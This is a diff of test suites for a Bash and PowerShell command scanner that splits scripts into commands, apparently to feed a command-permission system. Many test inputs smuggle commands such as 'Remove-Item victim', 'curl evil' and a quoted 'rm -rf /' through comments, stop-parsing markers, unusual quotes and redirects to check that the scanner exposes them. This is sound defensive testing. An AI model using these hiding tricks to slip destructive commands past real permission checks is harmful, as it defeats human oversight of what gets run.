{ words: ["Write-Output"] },
|
||||
{ words: ["Remove-Item", "victim"] },
|
||||
],
|
||||
})
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
test.each([" ", "\t", "\v", "\f", "\u00a0", "\u2000", "\u2028", "\u2029"])(
|
||||
"keeps backtick whitespace inside strings literal: %j",
|
||||
(space) => {
|
||||
const result = ShellScan.scanPowerShell(`% { Write-Output '\`${space}#literal' "\`${space}#literal" }`)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands[1]?.words).toEqual(["Write-Output", `\`${space}#literal`, `${space}#literal`])
|
||||
},
|
||||
)
|
||||
|
||||
test.each(["x2>&1", "x6>&1"])("keeps embedded greater-than text distinct from redirects: %s", (token) => {
|
||||
expect(ShellScan.scanPowerShell(`Write-Output ${token}#'\nRemove-Item victim\n#'`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `Write-Output ${token.slice(0, 3)}`, words: ["Write-Output", token.slice(0, 3)] },
|
||||
{ words: ["Remove-Item", "victim"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"1",
|
||||
",1",
|
||||
"+1",
|
||||
"-1",
|
||||
".1",
|
||||
"0x1",
|
||||
"0b1",
|
||||
"1L",
|
||||
"1kb",
|
||||
"1.0",
|
||||
"1+1",
|
||||
"1..2",
|
||||
"-not 1",
|
||||
"'x' -eq 1",
|
||||
'"x" -eq 1',
|
||||
"{} -eq 1",
|
||||
])("recognizes expression-mode comments without inventing command heads: %s", (expression) => {
|
||||
expect(ShellScan.scanPowerShell(`${expression}#'\nRemove-Item victim\n#'`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ words: ["Remove-Item", "victim"] }],
|
||||
})
|
||||
expect(ShellScan.scanPowerShell(`% { ${expression}#} '\nRemove-Item victim\n} #'`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ words: ["%", expect.any(String)] }, { words: ["Remove-Item", "victim"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["\n", "\r", "\r\n"])("ends nested block comments at %j", (newline) => {
|
||||
const result = ShellScan.scanPowerShell(`ForEach-Object { # } ignored${newline}Remove-Item victim }`)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["ForEach-Object", "Remove-Item"])
|
||||
})
|
||||
|
||||
test.each([
|
||||
'ForEach-Object { Write-Output "it\'s } literal"; Remove-Item victim }',
|
||||
'ForEach-Object { Write-Output "a\'b{c}"; Remove-Item victim }',
|
||||
"ForEach-Object { Write-Output '`'; Remove-Item victim }",
|
||||
'ForEach-Object { Write-Output "a`\"}b"; Remove-Item victim }',
|
||||
'ForEach-Object { Write-Output "a""}b"; Remove-Item victim }',
|
||||
])("keeps block delimiters inside strings: %s", (input) => {
|
||||
const result = ShellScan.scanPowerShell(input)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([
|
||||
"ForEach-Object",
|
||||
"Write-Output",
|
||||
"Remove-Item",
|
||||
])
|
||||
})
|
||||
|
||||
test("preserves doubled double quotes in argument values", () => {
|
||||
const result = ShellScan.scanPowerShell('Write-Output "a""b"')
|
||||
expect(result).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: 'Write-Output "a""b"', words: ["Write-Output", 'a"b'] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["'safe'", '"safe"', "{ Get-Item x }"])(
|
||||
"recognizes comments after complete literal tokens: %s",
|
||||
(argument) => {
|
||||
const result = ShellScan.scanPowerShell(`Write-Output ${argument}# '\nRemove-Item victim\n# '`)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.some((command) => command.words[0] === "Remove-Item")).toBe(true)
|
||||
expect(result.commands[0]?.resource).toBe(`Write-Output ${argument}`)
|
||||
},
|
||||
)
|
||||
|
||||
test("keeps generic-token quotes distinct from standalone strings", () => {
|
||||
expect(ShellScan.scanPowerShell("Write-Output pre'safe'#literal; Get-Item x")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "Write-Output pre'safe'#literal", words: ["Write-Output", "presafe#literal"] },
|
||||
{ resource: "Get-Item x", words: ["Get-Item", "x"] },
|
||||
],
|
||||
})
|
||||
expect(ShellScan.scanPowerShell("Write-Output 'safe'tail")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "Write-Output 'safe'tail", words: ["Write-Output", "safe", "tail"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("block matching agrees with tokenization after a merging redirect", () => {
|
||||
const result = ShellScan.scanPowerShell("% { Get-Item x 2>&1# } '\nRemove-Item victim\n} # '")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["%", "Get-Item", "Remove-Item"])
|
||||
})
|
||||
|
||||
test.each([
|
||||
'cmd.exe \u0085--% "ignored\nRemove-Item victim\n# "',
|
||||
"Write-Output \u2018a'; Remove-Item victim; Write-Output 'b\u2019",
|
||||
'Write-Output \u201ca"; Remove-Item victim; Write-Output "b\u201d',
|
||||
])("refuses unsupported lexical modes: %s", (input) => {
|
||||
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each(["\n", "\r", "\r\n"])("ends stop-parsing at %j even adjacent to completed tokens", (newline) => {
|
||||
for (const argument of ["'x'", '"x"', "{}"]) {
|
||||
const result = ShellScan.scanPowerShell(`Write-Output ${argument}--% '${newline}Remove-Item victim${newline}# '`)
|
||||
expect(result).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ words: ["Write-Output", expect.any(String), "--%", "'"] }, { words: ["Remove-Item", "victim"] }],
|
||||
})
|
||||
const block = ShellScan.scanPowerShell(
|
||||
`% { Write-Output ${argument}--%} '${newline}Remove-Item victim${newline}} # '`,
|
||||
)
|
||||
expect(block.kind).toBe("scanned")
|
||||
if (block.kind === "scanned") expect(block.commands.at(-1)?.words).toEqual(["Remove-Item", "victim"])
|
||||
}
|
||||
})
|
||||
|
||||
test.each([
|
||||
"& '' victim",
|
||||
"Write-Output ok > > out",
|
||||
"Write-Output ok > 2>&1",
|
||||
"Write-Output ok 2>&",
|
||||
"Write-Output ok 2>&2",
|
||||
"Write-Output ok 1>&1",
|
||||
"Write-Output ok >&1",
|
||||
"Write-Output ok 7> out",
|
||||
"Write-Output ok 2>>&1",
|
||||
"Write-Output ok > # missing target\nRemove-Item victim",
|
||||
"Write-Output ok | # missing pipeline\n",
|
||||
"| Remove-Item victim",
|
||||
"&& Remove-Item victim",
|
||||
"& & Remove-Item victim",
|
||||
"&",
|
||||
".",
|
||||
"Write-Output ok; &",
|
||||
"Write-Output ok; .",
|
||||
"Set-Location \u2013StackName old",
|
||||
"Set-Location \u2014StackName old",
|
||||
"Set-Location \u2015StackName old",
|
||||
])("reports malformed or unsupported lexical syntax: %s", (input) => {
|
||||
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test.each(["Set-Location", "SL", "cd", "chdir", "Push-Location", "pushd", "Microsoft.PowerShell.Management\\sl"])(
|
||||
"preserves commands with directory variables for Core policy through %s",
|
||||
(head) => {
|
||||
expect(ShellScan.scanPowerShell(`${head} $target; Get-Item x`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `${head} $target`, words: [head, "$target"] },
|
||||
{ resource: "Get-Item x", words: ["Get-Item", "x"] },
|
||||
],
|
||||
})
|
||||
expect(ShellScan.scanPowerShell(`${head} $HOME/project; Get-Item x`).kind).toBe("scanned")
|
||||
},
|
||||
)
|
||||
|
||||
test.each([
|
||||
"Pop-Location",
|
||||
"popd",
|
||||
"Microsoft.PowerShell.Management\\Pop-Location",
|
||||
"Set-Location -",
|
||||
"Set-Location +",
|
||||
"Set-Location -StackName old",
|
||||
"Set-Location -st old",
|
||||
"Set-Location -Path:C:relative",
|
||||
"Set-Location C:relative",
|
||||
"Set-Location Registry::HKEY_CURRENT_USER",
|
||||
"Set-Location $HOME/$target",
|
||||
])("preserves directory command syntax without deciding directory policy: %s", (input) => {
|
||||
expect(ShellScan.scanPowerShell(`${input}; Get-Item x`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: input, words: input.split(" ") },
|
||||
{ resource: "Get-Item x", words: ["Get-Item", "x"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["%", "?", "foreach", "where", "iex"])("keeps command aliases visible: %s", (head) => {
|
||||
const result = ShellScan.scanPowerShell(`Get-Item x | ${head} { Remove-Item victim }`)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["Get-Item", head, "Remove-Item"])
|
||||
})
|
||||
|
||||
test.each(["Get-*", "./g?t", "./[gr]it", ".\\script.ps1", "..\\scripts\\run.ps1", "\\\\host\\share\\run.ps1"])(
|
||||
"retains command names and paths without resolving them: %s",
|
||||
(head) => {
|
||||
expect(ShellScan.scanPowerShell(`& ${head} victim`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `& ${head} victim`, words: [head, "victim"], rawWords: [head, "victim"] }],
|
||||
})
|
||||
},
|
||||
)
|
||||
|
||||
test("recursively extracts commands from nested script blocks", () => {
|
||||
const result = ShellScan.scanPowerShell("Get-Item x | % { Get-Item y | ? { Remove-Item victim } }")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([
|
||||
"Get-Item",
|
||||
"%",
|
||||
"Get-Item",
|
||||
"?",
|
||||
"Remove-Item",
|
||||
])
|
||||
})
|
||||
|
||||
test("keeps hashes within words out of block-comment detection", () => {
|
||||
const result = ShellScan.scanPowerShell("% { Write-Output a#b }; Remove-Item victim")
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual(["%", "Write-Output", "Remove-Item"])
|
||||
})
|
||||
|
||||
test.each([";", "&", "\n", "\r", "\r\n"])("never invents a command after a trailing %j", (separator) => {
|
||||
expect(ShellScan.scanPowerShell(`Get-Item x${separator}`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "Get-Item x", words: ["Get-Item", "x"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test.each(["'victim'", '"victim"', "`victim", "{ Get-Item victim }"])(
|
||||
"does not clear a dangling pipeline with a new empty statement: %s",
|
||||
(tail) => {
|
||||
expect(ShellScan.scanPowerShell(`Get-Item x | ; Write-Output ${tail}`).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test("scans valid redirects without consuming command arguments", () => {
|
||||
for (const redirect of [">", ">>", "1>", "2>>", "3>", "4>", "5>", "6>", "*>", "*>>"]) {
|
||||
expect(ShellScan.scanPowerShell(`Get-Item x ${redirect} out.txt | Write-Output done`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `Get-Item x ${redirect} out.txt`, words: ["Get-Item", "x"] },
|
||||
{ resource: "Write-Output done", words: ["Write-Output", "done"] },
|
||||
],
|
||||
})
|
||||
}
|
||||
for (const redirect of ["2>&1", "3>&1", "4>&1", "5>&1", "6>&1", "*>&1"]) {
|
||||
expect(ShellScan.scanPowerShell(`Get-Item x ${redirect}`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `Get-Item x ${redirect}`, words: ["Get-Item", "x"] }],
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
test("bounds script block nesting and input size", () => {
|
||||
expect(ShellScan.scanPowerShell("% { ".repeat(33) + "Get-Item x" + " }".repeat(33)).kind).toBe("opaque")
|
||||
expect(ShellScan.scanPowerShell(`Write-Output ${"x".repeat(64 * 1024)}`).kind).toBe("opaque")
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,145 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
|
||||
describe("PowerShell practical syntax", () => {
|
||||
test.each([
|
||||
["$result = git status", ["git status"]],
|
||||
["$result += (git status)", ["git status"]],
|
||||
["[string]$result = git status", ["git status"]],
|
||||
["$x = 1; $x++; git status", ["git status"]],
|
||||
["$true; 1 + 2; 'literal'; git status", ["git status"]],
|
||||
["${result}# ignored\ngit status", ["git status"]],
|
||||
[
|
||||
"Write-Output { ${result}# ignored\ngit status }",
|
||||
["Write-Output { ${result}# ignored\ngit status }", "git status"],
|
||||
],
|
||||
["Switch-Branch main; Function-Name arg", ["Switch-Branch main", "Function-Name arg"]],
|
||||
["(git status)", ["git status"]],
|
||||
["@(git status; git diff)", ["git status", "git diff"]],
|
||||
["$x = @{ status = git status; count = 1 }", ["git status"]],
|
||||
["if (Test-Path file) { git status } else { git diff }", ["Test-Path file", "git status", "git diff"]],
|
||||
["if ($true) { git status } elseif ($false) { git diff }", ["git status", "git diff"]],
|
||||
["foreach ($file in (Get-ChildItem .)) { Get-Content $file }", ["Get-ChildItem .", "Get-Content $file"]],
|
||||
["foreach ($file in Get-ChildItem .) { Get-Content $file }", ["Get-ChildItem .", "Get-Content $file"]],
|
||||
["for ($i = 0; $i -lt 2; $i++) { git status }", ["git status"]],
|
||||
["while (Test-Path file) { git status; break }", ["Test-Path file", "git status"]],
|
||||
["do { git status } until ($true)", ["git status"]],
|
||||
["function Get-Status { param($file); git status }; Get-Status", ["git status", "Get-Status"]],
|
||||
["function Get-Status($file = (Get-Item .)) { git status }", ["Get-Item .", "git status"]],
|
||||
[
|
||||
"try { git status } catch { Write-Output $_ } finally { git diff }",
|
||||
["git status", "Write-Output $_", "git diff"],
|
||||
],
|
||||
["& { git status }", ["& { git status }", "git status"]],
|
||||
["return git status", ["git status"]],
|
||||
["<# <# ignored } #> #> ignored\ngit status", ["git status"]],
|
||||
["git <# ignored #> status", ["git <# ignored #> status"]],
|
||||
['Write-Output "$(git status)"', ['Write-Output "$(git status)"', "git status"]],
|
||||
[
|
||||
'Write-Output "$(Write-Output "$(git status)")"',
|
||||
['Write-Output "$(Write-Output "$(git status)")"', 'Write-Output "$(git status)"', "git status"],
|
||||
],
|
||||
["Write-Output @'\n$(not-a-command)\n'@; git status", ["Write-Output @'\n$(not-a-command)\n'@", "git status"]],
|
||||
['Write-Output @"\n$(git status)\n"@', ['Write-Output @"\n$(git status)\n"@', "git status"]],
|
||||
[
|
||||
"cmd.exe --% $(literal) > literal.txt; still-literal\ngit status",
|
||||
["cmd.exe --% $(literal) > literal.txt; still-literal", "git status"],
|
||||
],
|
||||
[
|
||||
'cmd.exe --% "literal|still-literal" | Write-Output done',
|
||||
['cmd.exe --% "literal|still-literal"', "Write-Output done"],
|
||||
],
|
||||
["Write-Output '--%' ; git status", ["Write-Output '--%'", "git status"]],
|
||||
["Write-Output prefix--% literal; git status", ["Write-Output prefix--% literal", "git status"]],
|
||||
["git status |\n\n# comment\nOut-String", ["git status", "Out-String"]],
|
||||
] as const)("extracts command resources from %s", (source, resources) => {
|
||||
const result = ShellScan.scanPowerShell(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands.map((command) => command.resource)).toEqual([...resources])
|
||||
})
|
||||
|
||||
test.each(["\n", "\r", "\r\n"])(
|
||||
"distinguishes standalone continuations from escapes inside tokens: %j",
|
||||
(newline) => {
|
||||
expect(ShellScan.scanPowerShell(`git \`${newline}\tstatus`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ words: ["git", "status"], rawWords: ["git", "status"] }],
|
||||
})
|
||||
expect(ShellScan.scanPowerShell(`Write-Output left\`${newline}right`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ words: ["Write-Output", `left${newline}right`], rawWords: ["Write-Output", `left\`${newline}right`] },
|
||||
],
|
||||
})
|
||||
},
|
||||
)
|
||||
|
||||
test("decodes literal backtick escapes without evaluating expressions", () => {
|
||||
const source = '& "Wr`ite-Output" "tab`tnewline`n`u{1f642}" left`;right'
|
||||
expect(ShellScan.scanPowerShell(source)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{
|
||||
resource: source,
|
||||
words: ["Write-Output", "tab\tnewline\n\u{1f642}", "left;right"],
|
||||
rawWords: ['"Wr`ite-Output"', '"tab`tnewline`n`u{1f642}"', "left`;right"],
|
||||
},
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("preserves word offsets relative to each raw command, including nested invocations", () => {
|
||||
const source = ' & git\tstatus\t--short; Write-Output "$(git\tlog)"'
|
||||
const result = ShellScan.scanPowerShell(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
expect(result.commands[0]?.wordEnds).toEqual([5, 12, 20])
|
||||
expect(result.commands[2]?.resource).toBe("git\tlog")
|
||||
for (const command of result.commands) {
|
||||
expect(command.wordEnds).toHaveLength(command.rawWords.length)
|
||||
for (const [index, word] of command.rawWords.entries()) {
|
||||
const end = command.wordEnds![index]!
|
||||
expect(command.resource.slice(end - word.length, end)).toBe(word)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
test.each([
|
||||
["ForEach-Object { git status }", true],
|
||||
["git status; ForEach-Object { git diff }", true],
|
||||
["git status | ForEach-Object { git diff }", undefined],
|
||||
["git status && ForEach-Object { git diff }", undefined],
|
||||
["git status || ForEach-Object { git diff }", undefined],
|
||||
["& ForEach-Object { git status }", undefined],
|
||||
["& 'ForEach-Object' { git status }", undefined],
|
||||
["% { git status }", true],
|
||||
["foreachthing { git status }", true],
|
||||
] as const)("retains caller and lexical statement-head context: %s", (source, statementHead) => {
|
||||
const result = ShellScan.scanPowerShell(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind === "opaque") return
|
||||
const caller = result.commands.find((command) => command.rawWords.at(-1)?.startsWith("{"))
|
||||
expect(caller).toBeDefined()
|
||||
expect(caller?.statementHead).toBe(statementHead)
|
||||
expect(result.commands.at(-1)?.words[0]).toBe("git")
|
||||
})
|
||||
|
||||
test.each([
|
||||
"if ($true) { git status",
|
||||
'Write-Output "$(git status"',
|
||||
"Write-Output @(git status",
|
||||
"Write-Output @'\nunclosed",
|
||||
"<# unclosed",
|
||||
"git status |\n# no operand",
|
||||
"Write-Output `u{110000}",
|
||||
"Write-Output `u{xyz}",
|
||||
])("bounds and reports incomplete lexical structures: %s", (source) => {
|
||||
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
|
||||
})
|
||||
|
||||
test("bounds mixed expression, string, and block recursion", () => {
|
||||
expect(ShellScan.scanPowerShell("$(".repeat(40) + "git status" + ")".repeat(40)).kind).toBe("opaque")
|
||||
expect(ShellScan.scanPowerShell('Write-Output "$('.repeat(40) + "git status" + ')"'.repeat(40)).kind).toBe("opaque")
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,154 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { Effect } from "effect"
|
||||
import { ShellParse } from "../../src/shell/parse.js"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
import { Wildcard } from "../../src/util/wildcard.js"
|
||||
|
||||
async function parity(source: string) {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
|
||||
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
|
||||
expect(native, source).toEqual(legacy)
|
||||
}
|
||||
|
||||
describe("Bash redirect resource oracle", () => {
|
||||
test.each([
|
||||
["printf hello | cat > marker", ["printf hello", "cat"]],
|
||||
["printf ok && git status > output", ["printf ok", "git status"]],
|
||||
["cat > output", ["cat > output"]],
|
||||
["cat > output | cat", ["cat > output", "cat"]],
|
||||
["pwd | > output cat > tail", ["pwd", "> output cat"]],
|
||||
["pwd && cat > output file", ["pwd", "cat"]],
|
||||
["pwd; cat > output", ["pwd", "cat > output"]],
|
||||
["pwd\ncat > output", ["pwd", "cat > output"]],
|
||||
] as const)("matches exact permission resources: %s", async (source, resources) => {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
|
||||
expect(legacy.commands.map((command) => command.resource)).toEqual([...resources])
|
||||
await parity(source)
|
||||
})
|
||||
|
||||
test("matches redirect positions across generated list and pipeline boundaries", async () => {
|
||||
const redirects = [">output", ">>output", "<input", "2>err", "2>&1", "<&0", ">|output", "&>output", "&>>output"]
|
||||
const separators = [" | ", " |& ", " && ", " || ", "; ", " & ", "\n"]
|
||||
for (const redirect of redirects) {
|
||||
for (const command of [
|
||||
`${redirect} git status`,
|
||||
`git ${redirect} status`,
|
||||
`git status ${redirect}`,
|
||||
`${redirect} git status 3>tail`,
|
||||
`${redirect} FOO=bar git status 3>tail`,
|
||||
`npm run ${redirect} test`,
|
||||
]) {
|
||||
await parity(command)
|
||||
for (const separator of separators) {
|
||||
await parity(`printf ok${separator}${command}`)
|
||||
await parity(`${command}${separator}pwd >last`)
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
test.each([
|
||||
"pwd | cat >out | tail >log",
|
||||
"pwd && cat >out || tail >log",
|
||||
"pwd && cat >out | tail >log",
|
||||
"pwd | cat >out && tail >log",
|
||||
"pwd |\n\n# comment\ncat >out",
|
||||
"pwd &&\n# comment\ncat >out",
|
||||
"pwd | cat >out # comment\ncat >log",
|
||||
"pwd | cat # comment\n>out cat",
|
||||
"pwd | cat \\\n 2>out",
|
||||
"pwd | cat a\\\n>out",
|
||||
"pwd | cat 2\\\n>out",
|
||||
"pwd && FOO=bar >output git status 3>tail",
|
||||
"(cat >out) | tail >log",
|
||||
"{ cat >out; } && tail >log",
|
||||
"(pwd | cat >out) >group",
|
||||
"(cat >out) >$(printf log) && cat >tail",
|
||||
"(cat >out); cat >tail",
|
||||
"echo $(pwd | cat >out) >outer",
|
||||
'echo "$(pwd && cat >out)" | cat >outer',
|
||||
"echo `pwd | cat >out` >outer",
|
||||
"pwd | cat >$(printf out)",
|
||||
'pwd | cat >"$(printf out)"',
|
||||
"pwd | cat >$(printf out | cat >inner)",
|
||||
"pwd | cat >out $(printf arg) >tail",
|
||||
"pwd | cat <(printf input) > >(cat >log)",
|
||||
"cat <(pwd | cat >out) | cat >tail",
|
||||
"pwd | cat >out <(printf arg) >tail",
|
||||
"pwd | cat '>' \"2>out\" escaped\\>word >out",
|
||||
"pwd | cat '2'>out",
|
||||
"pwd | cat 2\\>out",
|
||||
"if true; then printf ok && cat >$(printf path); fi",
|
||||
"if true; then printf ok && git >out status; else cat >log; fi",
|
||||
"pwd && cd >out /outside",
|
||||
"time git status",
|
||||
"time -p git status",
|
||||
"coproc git status",
|
||||
])("preserves nested commands, prefixes, and context: %s", parity)
|
||||
|
||||
test("keeps lexical words and nested redirect-target commands after narrowing the resource", () => {
|
||||
const result = ShellScan.scan('pwd | git >"$(printf output)" status')
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(`Unexpected opacity: ${result.reason}`)
|
||||
expect(result.commands[1]).toMatchObject({
|
||||
resource: "git",
|
||||
words: ["git", "status"],
|
||||
rawWords: ["git", "status"],
|
||||
redirectWordCount: 1,
|
||||
})
|
||||
expect(result.commands[2]).toMatchObject({ resource: "printf output", rawWords: ["printf", "output"] })
|
||||
})
|
||||
|
||||
test("excludes ignored trailing continuations from narrowed command prefixes", async () => {
|
||||
const source = "pwd | cat\\\n >out"
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(`Unexpected opacity: ${result.reason}`)
|
||||
expect(result.commands.map((command) => command.resource)).toEqual(
|
||||
legacy.commands.map((command) => command.resource),
|
||||
)
|
||||
expect(result.commands[1]?.rawWords).toEqual(["cat"])
|
||||
expect(legacy.commands[1]).toEqual({ resource: "cat", save: "cat *" })
|
||||
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
|
||||
expect(native).toEqual(legacy)
|
||||
expect(native.commands.every((command) => Wildcard.match(command.resource, command.save))).toBe(true)
|
||||
})
|
||||
|
||||
test.each(["cat\\\n", "cat \\\n", "cat\\\n\\\n", "cat\\\n;", "cat >out\\\n", "cat >out \\\n"])(
|
||||
"saved prefixes cover their standalone continuation command: %j",
|
||||
async (source) => {
|
||||
await parity(source)
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(result.reason)
|
||||
expect(result.commands[0]?.rawWords).toEqual(["cat"])
|
||||
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
|
||||
expect(native.commands[0]).toEqual({ resource: source.includes(">out") ? "cat >out" : "cat", save: "cat *" })
|
||||
expect(native.commands.every((command) => Wildcard.match(command.resource, command.save))).toBe(true)
|
||||
},
|
||||
)
|
||||
|
||||
test.each(["printf 'literal\\\n'\\\n", 'printf "literal\\\n"\\\n', "printf a\\\nb\\\n", 'printf a\\\n""\\\n'])(
|
||||
"preserves meaningful raw syntax before an ignored trailing continuation: %j",
|
||||
async (source) => {
|
||||
await parity(source)
|
||||
const result = ShellScan.scan(source)
|
||||
expect(result.kind).toBe("scanned")
|
||||
if (result.kind !== "scanned") throw new Error(result.reason)
|
||||
expect(result.commands[0]?.resource).toBe(source.slice(0, -2))
|
||||
expect(result.commands[0]?.rawWords).toEqual(["printf", source.slice("printf ".length, -2)])
|
||||
},
|
||||
)
|
||||
|
||||
test("known gap: assignment then redirect on a pipeline RHS retains the native command", async () => {
|
||||
const source = "printf ok | FOO=bar >output git status 3>tail"
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
|
||||
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
|
||||
expect(legacy.commands).toEqual([{ resource: "printf ok", save: "printf *" }])
|
||||
expect(native.commands).toEqual([
|
||||
{ resource: "printf ok", save: "printf *" },
|
||||
{ resource: "FOO=bar >output git status", save: "git status *" },
|
||||
])
|
||||
})
|
||||
})
|
||||
@@ -2,15 +2,40 @@ import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
|
||||
describe("ShellScan", () => {
|
||||
test.each(["", " ", "\n\n", "# comment", "\n# comment\n\n", " \n\t# comment\n"])(
|
||||
"accepts empty scripts and blank lines: %j",
|
||||
(source) => expect(ShellScan.scan(source)).toEqual({ kind: "scanned", commands: [] }),
|
||||
)
|
||||
|
||||
test.each(["\n\ngit status\n\n", "# before\n\ngit status\n\n# after\n", "git status; # after\n\n"])(
|
||||
"does not treat blank lines or comments as missing commands: %j",
|
||||
(source) =>
|
||||
expect(ShellScan.scan(source)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "git status", words: ["git", "status"], rawWords: ["git", "status"] }],
|
||||
}),
|
||||
)
|
||||
|
||||
test.each(["&&", "||", "|", "|&"])("retains required operands across line breaks after %s", (operator) => {
|
||||
expect(ShellScan.scan(`printf ok ${operator}\n\n# comment\n`).kind).toBe("opaque")
|
||||
expect(ShellScan.scan(`printf ok ${operator}\n\n# comment\npwd\n\n`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "printf ok", words: ["printf", "ok"], rawWords: ["printf", "ok"] },
|
||||
{ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] },
|
||||
],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans a static command", () => {
|
||||
expect(ShellScan.scan("git status")).toEqual({
|
||||
expect(ShellScan.scan("git status")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: "git status", words: ["git", "status"] }],
|
||||
})
|
||||
})
|
||||
|
||||
test("scans every command in lists and pipelines", () => {
|
||||
expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
|
||||
expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: "git status", words: ["git", "status"] },
|
||||
@@ -21,7 +46,7 @@ describe("ShellScan", () => {
|
||||
})
|
||||
|
||||
test("does not split operators inside quoted or escaped arguments", () => {
|
||||
expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
|
||||
expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
|
||||
@@ -31,7 +56,7 @@ describe("ShellScan", () => {
|
||||
})
|
||||
|
||||
test("scans commands substituted into an argument", () => {
|
||||
expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
|
||||
expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toMatchObject({
|
||||
kind: "scanned",
|
||||
commands: [
|
||||
{ resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
|
||||
@@ -42,7 +67,7 @@ describe("ShellScan", () => {
|
||||
})
|
||||
|
||||
test("scans substitutions in assignment values and redirect targets", () => {
|
||||
